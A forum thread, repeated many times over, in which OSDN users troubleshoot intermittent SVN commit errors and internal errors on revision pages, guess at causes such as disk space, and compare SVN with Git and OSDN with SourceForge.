Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
